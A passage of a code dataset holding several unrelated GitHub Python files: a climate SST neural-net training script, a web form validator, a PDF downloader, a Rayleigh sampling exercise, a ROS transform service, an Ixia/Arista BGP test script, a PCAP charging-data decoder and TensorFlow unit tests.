class_weights={}\n for i in range(len(n)):\n weightloop = max_sample/(n[i])\n if weightloop > 1.111111111111:\n weightloop = 0.9*weightloop\n class_weights[i] = weightloop\n return class_weights\n\nlatvec = np.arange(-60,70,10)\nlonvec = np.arange(0,360,10)\n\nseeds = np.arange(70,80) # 10 random seeds\nnvalmems = len(valens)\n\ndef trainingmodels(experiment_dict,X1train,X1val,X1test,X2train,X2val,X2test,daterange):\n \n lr_init = experiment_dict[\"learning_rate\"]\n batch_size = experiment_dict[\"batch_size\"]\n n_epochs = experiment_dict[\"n_epochs\"]\n patience = experiment_dict[\"patience\"]\n dropout_rate = experiment_dict[\"dropout_rate\"]\n ridge_param1 = experiment_dict[\"ridge_param\"][0]\n ridge_param2 = experiment_dict[\"ridge_param\"][1]\n hiddens1 = experiment_dict[\"hiddens1\"]\n hiddens2 = experiment_dict[\"hiddens2\"]\n model1name = experiment_dict[\"model1name\"]\n model2name = experiment_dict[\"model2name\"]\n filefront = experiment_dict[\"filename\"]\n latres = experiment_dict[\"latres\"]\n lonres = experiment_dict[\"lonres\"]\n lcutoff_q = experiment_dict[\"lcutoff\"]\n ucutoff_q = experiment_dict[\"ucutoff\"]\n date1 = experiment_dict[\"cutoff1date\"]\n date2 = experiment_dict[\"cutoff2date\"]\n es_callback = callbacks.EarlyStopping(monitor='val_loss',patience=patience,restore_best_weights=True)\n\n input_shape1 = X1train.shape[1]\n input_shape2 = X2train.shape[1]\n\n nvalmems = len(valens)\n xvec = np.arange(daterange[0],daterange[1]-trendlength+1)\n xvecvec = np.tile(xvec,nvalmems)\n boo2050 = (xvecvec>=2020) & (xvecvec<2050) \n \n for lat1 in latvec:\n lat2 = lat1+latres \n \n for lon1 in lonvec:\n lon2 = lon1+lonres\n print([lat1,lon1])\n \n SSTout=preprocessing.SSToutput(trendlength,lat1,lat2,lon1,lon2,daterange)\n SSTpersistence = preprocessing.SSToutput_persistence(trendlength,lat1,lat2,lon1,lon2,daterange)\n \n if ~np.isnan(np.asarray(SSTout)[0,0]):\n Ytrain = preprocessing.memsplit(SSTout,trainens)\n Yval = preprocessing.memsplit(SSTout,valens)\n Ytest = preprocessing.memsplit(SSTout,testens)\n \n ucutoff = preprocessing.calc_ucutoff_q(SSTout, trainens, date1, date2, ucutoff_q)\n lcutoff = preprocessing.calc_lcutoff_q(SSTout, trainens, date1, date2, lcutoff_q)\n \n Ytrain = preprocessing.y_onehot(Ytrain,lcutoff,ucutoff)\n Yval = preprocessing.y_onehot(Yval,lcutoff,ucutoff)\n Ytest = preprocessing.y_onehot(Ytest,lcutoff,ucutoff)\n class_weights = class_weight_dictionary(Ytrain)\n \n for iseed,seed in enumerate(seeds):\n \n modelstr = ANN.multimodelstr(filefront,lat1,lat2,lon1,lon2,seed) \n strcheck = glob.glob(modelstr)\n if len(strcheck)==0: # so script can be stopped and restarted\n \n print(modelstr)\n tf.random.set_seed(seed)\n np.random.seed(seed) \n x1,input1 = ANN.build_model_api_nobias(seed,dropout_rate,ridge_param1,hiddens1,input_shape1,model1name)\n x2,input2 = ANN.build_model_api(seed+1,dropout_rate,ridge_param2,hiddens2,input_shape2,model2name) \n model = ANN.fullmodel(x1,x2,input1,input2,seed)\n \n model.compile(loss=lossfunction, \n optimizer=optimizers.SGD(learning_rate = lr_init), \n metrics = [\"accuracy\"]\n )\n history = model.fit({model1name:X1train,\n model2name:X2train}, \n Ytrain, \n batch_size = batch_size, \n epochs = n_epochs, \n validation_data = ({model1name:X1val,\n model2name:X2val},\n Yval), \n verbose = 0,\n callbacks=[es_callback,\n lr_callback \n ],\n class_weight=class_weights\n )\n \n model.save_weights(modelstr)\n \n else:\n print(modelstr + \" exists, moving right along\")\n\n\n\n#%%\nexperiment_name = \"predictSST_terciles20202050_singlelocation_nobias_betterpreprocessing\"\nexperiment_dict = experiment_settings.get_experiment_settings(experiment_name)\n\ntrainingdate1 = experiment_dict[\"trainingdate1\"]\ntrainingdate2 = experiment_dict[\"trainingdate2\"]\n\ndaterange = [trainingdate1,trainingdate2]\n\nSST1a = preprocessing.SSTinput_nft(ly1,averaginglength,daterange,trendlength)\nSST1b = preprocessing.SSTinput_nft(ly2,averaginglength,daterange,trendlength)\nSST2 = preprocessing.SSTinput_ft(ly1,averaginglength,daterange,trendlength)\n\nlon = np.asarray(SST2.lon)\nlat = np.asarray(SST2.lat)\n\nX1atrain = preprocessing.memsplit(SST1a,trainens)\nX1btrain = preprocessing.memsplit(SST1b,trainens)\nX2train = preprocessing.memsplit(SST2,trainens)\n\nX1aval = preprocessing.memsplit(SST1a,valens)\nX1bval = preprocessing.memsplit(SST1b,valens)\nX2val = preprocessing.memsplit(SST2,valens)\n\nX1atest = preprocessing.memsplit(SST1a,testens)\nX1btest = preprocessing.memsplit(SST1b,testens)\nX2test = preprocessing.memsplit(SST2,testens)\n\nX1train = np.concatenate((X1atrain,X1btrain),axis=1)\nX1val = np.concatenate((X1aval,X1bval),axis=1)\nX1test = np.concatenate((X1atest,X1btest),axis=1)\n\ntrainingmodels(experiment_dict,X1train,X1val,X1test,X2train,X2val,X2test,daterange)\n\n\n\n\n","repo_name":"emily-gordy/Separating_EFIV_2020-2050","sub_path":"train_optimalmultimodel.py","file_name":"train_optimalmultimodel.py","file_ext":"py","file_size_in_byte":7895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"21465283294","text":"from wtforms import ValidationError\n\nfrom slamd.discovery.processing.discovery_persistence import DiscoveryPersistence\n\n\nclass DatasetNameIsUnique:\n def __init__(self, message=None):\n self.message = message\n\n def __call__(self, form, field):\n dataset_filename = field.data.filename\n dataset = DiscoveryPersistence.query_dataset_by_name(dataset_filename)\n if dataset:\n raise ValidationError(self.message)\n","repo_name":"BAMresearch/WEBSLAMD","sub_path":"slamd/discovery/processing/forms/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"72386127769","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/12/11 23:41\n# @Author : quincyqiang\n# @File : sse_download_pdf.py\n# @Software: PyCharm\nimport asyncio\nimport aiohttp\nimport time\nimport pandas as pd\nimport os\n\nfolder_path = 'sse_pdf/'\n\n\ndef break_piont_continue(flag=True): # 读取url\n \"\"\"\n :param flag: True 只爬取失败的文章链接;False 未爬取的文章\n :return:\n \"\"\"\n df = pd.read_csv('data/sse.csv')\n print(len(df))\n if flag:\n with open('log/sse_pdf_log.txt', 'r', encoding='utf-8') as log_file:\n fail_urls = [url.strip() for url in log_file.readlines()]\n df['CURL'] = df['CURL'].apply(lambda x: 'http://www.sse.com.cn' + x).tolist()\n file_names = df[df['CURL'].isin(fail_urls)]['CTITLE_TXT'].tolist()\n return file_names, fail_urls\n else:\n df['unique_names'] = [name + '_' + url.split('/')[-1] for name, url in\n zip(df['CTITLE_TXT'].tolist(), df['CURL'].tolist())]\n # print(df['unique_names'].value_counts()) # 文档有重复的\n # 是否已经下载\n df['CURL'] = df['CURL'].apply(lambda x: 'http://www.sse.com.cn' + x)\n existed_files = os.listdir('sse_pdf/')\n file_names = df[~df['unique_names'].isin(existed_files)]['CTITLE_TXT'].tolist()\n download_urls = df[~df['unique_names'].isin(existed_files)]['CURL'].tolist()\n print(len(file_names))\n return file_names, download_urls\n\nbreak_piont_continue(flag=False)\n\n# '''下载图片程序'''\n# async def download_pics(name, url, semaphore):\n# async with semaphore:\n# async with aiohttp.ClientSession() as session:\n# async with session.get(url) as response:\n# try:\n# pdf = await response.read() # 以Bytes方式读入非文字\n# with open(folder_path + name + '_' + url.split('/')[-1], 'wb') as fout: # 写入文件\n# fout.write(pdf)\n# print(name + '_' + url.split('/')[-1] + ' done!')\n# # await asyncio.sleep(2)\n# except Exception as e:\n# print(e)\n# with open('log/sse_pdf_log.txt', 'a', encoding='utf-8') as log_file:\n# log_file.write(url + '\\n')\n#\n#\n# if __name__ == '__main__':\n# file_names, download_urls = break_piont_continue(flag=False)\n# print(file_names, download_urls)\n# loop = asyncio.get_event_loop() # 创建loop asyncio协程要在loop中运行\n# start_time = time.time() # 用于统计时间\n# semaphore = asyncio.Semaphore(100) # 限制并发量为500\n# tasks = [download_pics(name, url, semaphore) for name, url in zip(file_names, download_urls)]\n# loop.run_until_complete(asyncio.gather(*tasks))\n# loop.close()\n# end_time = time.time()\n# print(end_time - start_time)\n","repo_name":"yanqiangmiffy/bond-prospectus","sub_path":"sse_download_pdf.py","file_name":"sse_download_pdf.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"70705643927","text":"import random\nimport math\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom scipy.stats import norm\n\n\n\n\nn = 1000\n\nrandom_state = 1000\nrng_multiplier = 24693\nrng_increment = 3967\nrng_modulus = 2 ** 18\n\ndef get_next_random():\n global random_state\n random_state = (rng_multiplier * random_state + rng_increment) % rng_modulus\n return random_state / rng_modulus\n\n\ndef inverse_rayleigh(u):\n assert 0 <= u <= 1, \"u is not in [0,1]\"\n\n return math.sqrt(-2 * math.log(1 - u)) * 57\n\ndef get_sample(size):\n values = []\n for _ in range(size):\n values.append(inverse_rayleigh(get_next_random()))\n\n return values\n\n\ndef getMeanAndVar(n, K):\n values = []\n for _ in range(K):\n sample_values = get_sample(n)\n sample_mean = sum(sample_values)/len(sample_values)\n values.append(sample_mean)\n\n mean = sum(values)/len(values)\n var = 0 \n for value in values:\n var+= value ** 2 - mean ** 2\n\n var/=len(values)\n\n return values, mean, var\n\n\n\n\ndef run_trials():\n analyses = [(3,5), (9,25), (27,110), (81, 550)]\n\n fig, axes = plt.subplots(2, 2, figsize=(10, 10))\n axes = axes.flatten()\n\n for index, tuple in enumerate(analyses):\n ax = axes[index]\n z_values = []\n values, mean, var = getMeanAndVar(tuple[0], tuple[1])\n print(mean, var)\n for value in values:\n z_values.append((value - mean)/math.sqrt(var))\n z = [-1.4, -1.0, -0.5, 0, 0.5, 1.0, 1.4]\n empirical_CDFs = [sum(map(lambda i: i <= num, z_values))/len(z_values) for num in z]\n standard_CDFs = [norm.sf(-num) for num in z]\n\n # Calculate the MAD\n temp = [abs(emp - std) for emp, std in zip(empirical_CDFs, standard_CDFs)]\n MAD = max(temp)\n print(\"-----------------------\")\n concatenated_string = ' & '.join([f'{num:.4f}' for num in temp])\n print(concatenated_string)\n print(MAD)\n print(\"-----------------------\")\n\n # Plot the empirical CDF points\n ax.scatter(z, empirical_CDFs, label='Empirical CDF', color='red', zorder=2)\n\n # Plot the standard CDF as a continuous function\n standard_CDFs_x = [i * 5 / 100 - 2.5 for i in range(100)]\n standard_CDFs_y = [norm.cdf(x) for x in standard_CDFs_x]\n ax.plot(standard_CDFs_x, standard_CDFs_y, label='Standard CDF', color='blue')\n\n # Create the highlighted region above and below the standard CDF line\n upper_bound = [y + MAD for y in standard_CDFs_y]\n lower_bound = [y - MAD for y in standard_CDFs_y]\n ax.fill_between(standard_CDFs_x, lower_bound, upper_bound, color='green', alpha=0.1, label='MAD')\n\n # Set up the axis labels and legend\n ax.set_title(str(tuple))\n ax.set_xlabel('z')\n ax.set_ylabel('Values')\n ax.legend()\n\n # Show the plot\n plt.tight_layout()\n plt.show()\n\nrun_trials()","repo_name":"AlexFetea/Prob_Project_3","sub_path":"Part5.py","file_name":"Part5.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25591097780","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport rospy\nimport math\nimport numpy as np\nfrom grasp_demo.srv import *\n\n\ndef tf_transform(req):\n base_h_cam = np.array([[-0.9984, 0.0526, -0.0184, 0.0222],\n [0.0175, -0.0177, -0.9997, 0.6702],\n [-0.0529, -0.9985, 0.0167, 0.2853],\n [0.0, 0.0, 0.0, 1.0]\n ])\n\n cam_h_obj = np.array([[req.marker_x], [req.marker_y], [req.marker_z], [1]])\n base_h_obj = np.dot(base_h_cam, cam_h_obj)\n\n return EyetoHandResponse(base_h_obj[0, 0], base_h_obj[1, 0], base_h_obj[2, 0])\n\n\ndef obj_to_base_server():\n rospy.init_node('EyetoHand')\n\n s = rospy.Service('eyetohand', EyetoHand, tf_transform)\n\n rospy.spin()\n\n\nif __name__ == \"__main__\":\n obj_to_base_server()\n","repo_name":"bingcenliu/ur_work","sub_path":"ur_work/src/grasp_demo/scripts/eyetohand.py","file_name":"eyetohand.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34468842912","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#For python3: pip install jsonrpclib-pelix\n#For python2: pip install jsonrpclib\nfrom jsonrpclib import Server\nfrom ixnetwork_restpy import SessionAssistant\nfrom pprint import pprint\nimport jinja2\nimport os\nimport netaddr\nimport json\n\ndef report(op):\n op = op\n TEMPLATE = \"\"\"{{ showversion2 }}\n \n \n \n \n \n\n \n {% if h1 %}\n

{{ h1 }}

\n {% endif %}\n\n {% for x in op %}\n
\n            \n{{ x }}\n            \n            
\n {% endfor %}\n \n \n \"\"\"\n\n\n j2_env = jinja2.Environment(trim_blocks=True, lstrip_blocks=True, keep_trailing_newline=True)\n template = j2_env.from_string(TEMPLATE)\n\n with open(\"showversion.html\", 'w') as fh:\n htmlContent = template.render(op = op)\n #print(htmlContent)\n fh.write(htmlContent)\n\ndef configureIxia():\n # create a test tool session\n session_assistant = SessionAssistant(IpAddress='127.0.0.1',\n UserName='admin', Password='admin',\n LogLevel=SessionAssistant.LOGLEVEL_INFO,\n ClearConfig=True)\n ixnetwork = session_assistant.Ixnetwork\n\n #print(session_assistant.Session)\n\n # create tx and rx port resources\n port_map = session_assistant.PortMapAssistant()\n port_map.Map('172.24.68.5', 5, 17, Name='Tx')\n port_map.Map('172.24.68.5', 5, 18, Name='Rx')\n\n port_map.Connect(ForceOwnership=True, HostReadyTimeout=20, LinkUpTimeout=60)\n #print(port_map)\n\n #Need to map Tx and Rx to vport1 and vport2\n vport1 = ixnetwork.Vport.find(Name='^Tx')\n vport2 = ixnetwork.Vport.find(Name='^Rx')\n\n #Topology\n topology1 = ixnetwork.Topology.add(Name='Topo1', Ports=vport1)\n deviceGroup1 = topology1.DeviceGroup.add(Name='DG1' , Multiplier=4)\n\n topology2 = ixnetwork.Topology.add(Name='Topo2', Ports=vport2)\n deviceGroup2 = topology2.DeviceGroup.add(Name='DG2' , Multiplier=4)\n\n #Add vports to topology, add ethernet and ipv4\n ipv4 = deviceGroup1.Ethernet.add().Ipv4.add() #adding ethernet & ipv4 protocol\n ipv4_2 = deviceGroup2.Ethernet.add().Ipv4.add()\n #ipv4 = ixnetwork.Topology.add(Ports=vport1).DeviceGroup.add(Multiplier=4).Ethernet.add().Ipv4.add() #adding ethernet & ipv4 protocol\n #ipv4_2 = ixnetwork.Topology.add(Ports=vport2).DeviceGroup.add(Multiplier=4).Ethernet.add().Ipv4.add()\n\n\n #Add ip address, prefix, gateway\n ipv4.Address.Increment(start_value='1.0.0.2', step_value='0.0.0.1')#set increment multivalue\n #ipv4.info(ipv4.Address)#this is for logging at info level\n #assert(ipv4.Address.Pattern.startswith('Inc:') is True) # this is an example that assert statements can be used too.\n ipv4.Prefix.Single('24')\n ipv4.GatewayIp.Single('1.0.0.1')\n\n #Configuring BGP and Network Groups\n #ixnetwork.info('Configuring BgpIpv4Peer 1')\n bgp1 = ipv4.BgpIpv4Peer.add(Name='Bgp1')\n bgp1.DutIp.Increment(start_value='1.0.0.1', step_value='0.0.0.0')\n bgp1.Type.Single('external')\n bgp1.LocalAs2Bytes.Increment(start_value=101, step_value=0)\n\n #ixnetwork.info('Configuring Network Group 1')\n networkGroup1 = deviceGroup1.NetworkGroup.add(Name='BGP-Routes1', Multiplier='1')\n ipv4PrefixPool = networkGroup1.Ipv4PrefixPools.add(NumberOfAddresses='10')\n ipv4PrefixPool.NetworkAddress.Increment(start_value='10.10.0.1', step_value='0.0.0.1')\n ipv4PrefixPool.PrefixLength.Single(32)\n\n\n ipv4_2.Address.Increment(start_value='2.0.0.2', step_value='0.0.0.1')#set increment multivalue\n ipv4_2.Prefix.Single('24')\n ipv4_2.GatewayIp.Single('2.0.0.1')\n\n\n #Start Topology\n #topologies = ixnetwork.Topology.find().Start()\n ixnetwork.StartAllProtocols(Arg1='sync')\n\n #Create traffic item\n traffic_item=ixnetwork.Traffic.TrafficItem.add(Name='Ipv4 traffic item sample', BiDirectional=True, TrafficType='ipv4', TrafficItemType='l2L3')\n #Add endpoints to traffic\n endpoint_Set= traffic_item.EndpointSet.add(Sources=topology1, Destinations=topology2)\n #Configure traffic properties\n traffic_config = traffic_item.ConfigElement.find()\n traffic_config.FrameRate.update(Type='percentLineRate', Rate='50')\n traffic_config.TransmissionControl.update(Type='continuous')\n traffic_item.Tracking.find()[0].TrackBy = ['flowGroup0']\n traffic_item.Generate()#Generates traffic item\n\n time.sleep(20)\n return ixnetwork\n\ndef startIxiaTraffic(ixnetwork):\n trafficItem = ixnetwork.Traffic.TrafficItem.find()\n if trafficItem.Errors or trafficItem.Warnings:\n print(\"Errors in traffic item\")\n print(trafficItem.Errors)\n print(trafficItem.Warnings)\n\n traffic_item.Generate()\n\n ixnetwork.Traffic.Apply()\n ixnetwork.Traffic.StartStatelessTrafficBlocking()\n\n time.sleep(10)\n\n flowStatistics = session_assistant.StatViewAssistant('Flow Statistics')\n ixnetwork.info('{}\\n'.format(flowStatistics))\n for rowNumber,flowStat in enumerate(flowStatistics.Rows):\n ixnetwork.info('\\n\\nSTATS: {}\\n\\n'.format(flowStat))\n\n ixnetwork.Traffic.StopStatelessTrafficBlocking()\n\n TrafficItemStatistics = session_assistant.StatViewAssistant('Traffic Item Statistics')\n FlowStatistics = session_assistant.StatViewAssistant('Flow Statistics')\n\n return TrafficItemStatistics, FlowStatistics\n #print(session_assistant.Session)\n #port_map.Disconnect()\n #session_assistant.Session.remove()\n\ndef main():\n ixnetwork = configureIxia()\n op = []\n switch = Server(\"http://admin:@nfc302/command-api\")\n\n resp = switch.runCmds(1,[\"show version\"],\"text\")\n op.append(\"nfc302: \" + resp[0]['output'])\n\n #Configure switch\n commands = [\n \"configure\",\n \"interface Ethernet3/41/1\",\n \"ip address 1.0.0.1/24\",\n \"interface Ethernet3/42/1\",\n \"ip address 2.0.0.1/24\",\n \"router bgp 65514\",\n \"neighbor ixia-v4 peer group\",\n \"neighbor ixia-v4 remote-as 101\",\n \"neighbor ixia-v4 maximum-routes 0\",\n \"neighbor 1.0.0.2 peer group ixia-v4\",\n \"neighbor 1.0.0.3 peer group ixia-v4\",\n \"neighbor 1.0.0.4 peer group ixia-v4\",\n \"neighbor 1.0.0.5 peer group ixia-v4\",\n ]\n resp = switch.runCmds(1,commands,\"text\")\n op.append(\"nfc302: \\n\" + resp[0]['output'])\n\n time.sleep(10)\n\n resp = switch.runCmds(1,[\"show ip bgp summary | grep Estab\"],\"text\")\n op.append(\"nfc302: \" + resp[0]['output'])\n assert \"1.0.0.2\" in resp[0]['output']\n\n resp = switch.runCmds(1,[\"show ip bgp\"],\"text\")\n op.append(\"nfc302: \" + resp[0]['output'])\n\n TrafficItemStatistics, FlowStatistics = startIxiaTraffic(ixnetwork)\n\n op.append(TrafficItemStatistics)\n op.append(FlowStatistics)\n\n #pprint(op)\n report(op)\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n sys.exit(0)\n","repo_name":"jparmar96/Ixia-EAPI","sub_path":"IxiaAndEapiAndResults.py","file_name":"IxiaAndEapiAndResults.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"25028785647","text":"#!/usr/bin/python3\n\n### MODULE IMPORTS ###\n# from shutil import which\nimport pandas as pd\nimport numpy as np \n\n# Regex for text parsing in PCAP file\nimport re\n\n# Plotting stuff\nimport matplotlib.pyplot as plt\n# import seaborn as sns\n\n# Accepting CLI input\nimport sys, os\n\n### FUNCTION DEFINITIONS ###\n\n# frame = re.compile(r'Frame (\\d*):')\ndef parse(file):\n voltage = re.compile(r'Voltage: (\\d+)')\n current = re.compile(r'Current: (\\d*)')\n\n with open(file) as file:\n text = file.read()\n # fra = re.findall(frame, text)\n vol = re.findall(voltage, text)\n cur = re.findall(current, text)\n\n return vol, cur\n\ndef is_even(n):\n if n % 2 == 0:\n return True\n else:\n return False\n\n\ndef lesser(list1, list2):\n # if list 1 is longer, truncate list 1 to the lenght of list 2\n if list1 > list2:\n list1 = list1[:len(list2)]\n \n # if list 2 is loger, truncate list 2 to the length of list 1\n elif list1 < list2:\n list2 = list2[:len(list1)]\n\n # else, do nothing\n else:\n pass\n\n return list1, list2\n\ndef df_data(vol, cur):\n present_vol = []\n present_cur = []\n target_vol = []\n target_cur = []\n\n for n in range(len(vol)):\n\n if is_even(n):\n target_vol.append(vol[n])\n target_cur.append(cur[n])\n\n else:\n present_vol.append(vol[n])\n present_cur.append(cur[n])\n\n target_vol, present_vol = lesser(target_vol, present_vol)\n target_cur, present_cur = lesser(target_cur, present_cur)\n\n df = pd.DataFrame(\n data={'present_voltage':present_vol, 'present_current':present_cur, 'target_voltage':target_vol, 'target_current':target_cur}\n )\n # Cleanup for missing values\n df = df.replace('', np.NaN)\n \n df = df.astype(float)\n\n # Calculate present power \n v = df.present_voltage.to_numpy()\n i = df.present_current.to_numpy()\n\n # Power in kW\n p = (v * i) / 1000\n\n df['present_power'] = p\n\n return df\n\ndef graph(df, filename):\n \n fig, ax = plt.subplots(figsize=(70,40), frameon=True)\n plt.axis(True)\n plt.grid(visible=True)\n\n # Setting Axis Labels and Size\n # plt.xlabel('Frames', fontsize=40)\n plt.xlabel('Time since Current Demand Start (sec)', fontsize=30)\n plt.ylabel('Voltage (V)', fontsize=30)\n\n # Graphing both Voltage values\n ax.plot(\n df['present_voltage'], \n label='Present Voltage', \n color='red', \n linewidth=4\n )\n # Make target values thinner lines and dashed for easier visual differentiation\n ax.plot(\n df['target_voltage'], \n label='Target Voltage', \n color='orange', \n linewidth=2,\n linestyle='--'\n )\n\n # Set tick paramaters and set legend\n ax.tick_params(axis='both', which='major', labelsize=30)\n ax.legend(loc=2, fontsize='xx-large')\n\n # Graphing both Current values\n ax2 = ax.twinx()\n ax2.plot(\n df['present_current'], \n label='Present Current', \n color='green', \n linewidth=4\n )\n # Make target values thinner lines and dashed for easier visual differentiation\n ax2.plot(\n df['target_current'], \n label='Target Current', \n color='blue', \n linewidth=2,\n linestyle='--'\n )\n\n # Set tick paramaters and set legend for second axis\n ax2.tick_params(axis='both', which='major', labelsize=30)\n ax2.legend(loc=1, fontsize='xx-large')\n \n plt.show()\n\n fig.savefig(filename+'.jpg', bbox_inches='tight')\n\ndef graph_kw(df, filename):\n # Define data to graph\n p = df.present_power\n\n # Create graph and labels\n plt.plot(\n p,\n color='magenta'\n )\n plt.title('Charging Rate over Time (kW)')\n # plt.xlabel('Frames')\n plt.ylabel('Power (kW)')\n \n plt.savefig(filename+'.jpg', bbox_inches='tight')\n\n\n### RUN ###\n\n# TODO: Support passing of multiple files to script\nfile = sys.argv[1]\n\nvol, cur = parse('./pcaps/'+file)\nif len(vol) == 0 or len(cur) == 0:\n print(f'This session ({file}) did not make it to current demand.\\n')\nelse:\n vol, cur = lesser(vol, cur)\n df = df_data(vol, cur)\n graph(df, file)\n graph_kw(df, file+'_present_power')\n\n\n","repo_name":"Hipsteryoda/pcap_decoder","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36048104172","text":"# 천하 제일 코드 자랑\nprint(\"Hello, World!\") # 전준형\n\n# 오영환 test_pull_request : 랜덤메뉴뽑기\nimport random as rd\nimport time as t\n\n# 메뉴 리스트\nmenu_li = [\"서브웨이\", \"이가네한식뷔페\", \"서강대쌈밥\"]\n\n# 함수 정의\ndef today_menu() :\n n = 1\n while n <= 3:\n t.sleep(1)\n print(f\"{4 - n}{'..' * n}\")\n n += 1\n\n t.sleep(1)\n print(f\"메뉴 : {rd.choice(menu_li)}\")\n\n# 함수 실행\ntoday_menu()\n\nprint(\"Hello, Python!\") # 오형동\n\nprint(\"안녕하세요. 이제는 밥먹을 시간입니다.\")\nurl = \"https://www.naver.com\"\npage = urlopen(url)\nsoup = BeautifulSoup(page, \"lxml\")\nprint(\"ok\")\n","repo_name":"gobu82/230807_java_python","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36859771402","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow.contrib.layers.python.layers import target_column as target_column_lib\nfrom tensorflow.python.client import session\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.platform import test\n\n\nclass RegressionTargetColumnTest(test.TestCase):\n\n # TODO(zakaria): test multilabel regression.\n def testRegression(self):\n target_column = target_column_lib.regression_target()\n with ops.Graph().as_default(), session.Session() as sess:\n prediction = constant_op.constant([[1.], [1.], [3.]])\n labels = constant_op.constant([[0.], [1.], [1.]])\n self.assertAlmostEqual(\n 5. / 3, sess.run(target_column.loss(prediction, labels, {})))\n\n def testRegressionWithWeights(self):\n target_column = target_column_lib.regression_target(\n weight_column_name=\"label_weight\")\n with ops.Graph().as_default(), session.Session() as sess:\n features = {\"label_weight\": constant_op.constant([[2.], [5.], [0.]])}\n prediction = constant_op.constant([[1.], [1.], [3.]])\n labels = constant_op.constant([[0.], [1.], [1.]])\n self.assertAlmostEqual(\n 2. / 7,\n sess.run(target_column.loss(prediction, labels, features)),\n places=3)\n self.assertAlmostEqual(\n 2. / 3,\n sess.run(target_column.training_loss(prediction, labels, features)),\n places=3)\n\n\nclass MultiClassTargetColumnTest(test.TestCase):\n\n def testBinaryClassification(self):\n target_column = target_column_lib.multi_class_target(n_classes=2)\n with ops.Graph().as_default(), session.Session() as sess:\n logits = constant_op.constant([[1.], [1.]])\n labels = constant_op.constant([[1.], [0.]])\n # logloss: z:label, x:logit\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n self.assertAlmostEqual(\n 0.81326175,\n sess.run(target_column.loss(logits, labels, {})),\n delta=1e-6)\n\n def testBinaryClassificationWithWeights(self):\n target_column = target_column_lib.multi_class_target(\n n_classes=2, weight_column_name=\"label_weight\")\n with ops.Graph().as_default(), session.Session() as sess:\n features = {\"label_weight\": constant_op.constant([[1.], [0.]])}\n logits = constant_op.constant([[1.], [1.]])\n labels = constant_op.constant([[1.], [0.]])\n # logloss: z:label, x:logit\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n self.assertAlmostEqual(\n .31326166,\n sess.run(target_column.loss(logits, labels, features)),\n delta=1e-6)\n\n def testBinaryEvalMetrics(self):\n target_column = target_column_lib.multi_class_target(n_classes=2)\n with ops.Graph().as_default(), session.Session() as sess:\n logits = constant_op.constant([[1.], [1.], [-1.]])\n labels = constant_op.constant([[1.], [0.], [1.]])\n eval_dict = target_column.get_eval_ops({}, logits, labels)\n # TODO(zakaria): test all metrics\n accuracy_op, update_op = eval_dict[\"accuracy/threshold_0.500000_mean\"]\n sess.run(variables.global_variables_initializer())\n sess.run(variables.local_variables_initializer())\n sess.run(update_op)\n self.assertAlmostEqual(1.0 / 3, sess.run(accuracy_op))\n\n def testMultiClass(self):\n target_column = target_column_lib.multi_class_target(n_classes=3)\n with ops.Graph().as_default(), session.Session() as sess:\n logits = constant_op.constant([[1., 0., 0.]])\n labels = constant_op.constant([2])\n # logloss: z:label, x:logit\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n self.assertAlmostEqual(1.5514446,\n sess.run(target_column.loss(logits, labels, {})))\n\n def testMultiClassWithWeight(self):\n target_column = target_column_lib.multi_class_target(\n n_classes=3, weight_column_name=\"label_weight\")\n with ops.Graph().as_default(), session.Session() as sess:\n features = {\"label_weight\": constant_op.constant([0.1])}\n logits = constant_op.constant([[1., 0., 0.]])\n labels = constant_op.constant([2])\n # logloss: z:label, x:logit\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n self.assertAlmostEqual(\n 1.5514446, sess.run(target_column.loss(logits, labels, features)))\n\n def testMultiClassWithInvalidNClass(self):\n try:\n target_column_lib.multi_class_target(n_classes=1)\n self.fail(\"Softmax with no n_classes did not raise error.\")\n except ValueError:\n # Expected\n pass\n\n def testMultiClassEvalMetrics(self):\n target_column = target_column_lib.multi_class_target(n_classes=3)\n with ops.Graph().as_default(), session.Session() as sess:\n logits = constant_op.constant([[1., 0., 0.]])\n labels = constant_op.constant([2])\n eval_dict = target_column.get_eval_ops({}, logits, labels)\n loss_op, update_op = eval_dict[\"loss\"]\n sess.run(variables.global_variables_initializer())\n sess.run(variables.local_variables_initializer())\n sess.run(update_op)\n # logloss: z:label, x:logit\n # z * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))\n self.assertAlmostEqual(1.5514446, sess.run(loss_op))\n\n def testBinarySVMDefaultWeights(self):\n target_column = target_column_lib.binary_svm_target()\n predictions = constant_op.constant([[-0.5], [1.2]])\n labels = constant_op.constant([0, 1])\n loss = target_column.loss(predictions, labels, {})\n # Prediction for first 